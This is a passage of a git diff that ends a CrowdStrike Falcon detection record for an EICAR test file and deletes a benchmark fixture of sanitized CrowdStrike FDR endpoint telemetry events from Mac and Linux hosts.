Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log deleted file mode 100644 index c3de03a23b..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log +++ /dev/null @@ -1,138 +0,0 @@ -{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n feature_name: FEATURE_NAME,\n variants: [FEATURE_VARIANT],\n )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"} -{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"} -{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"} -{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"} -{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} 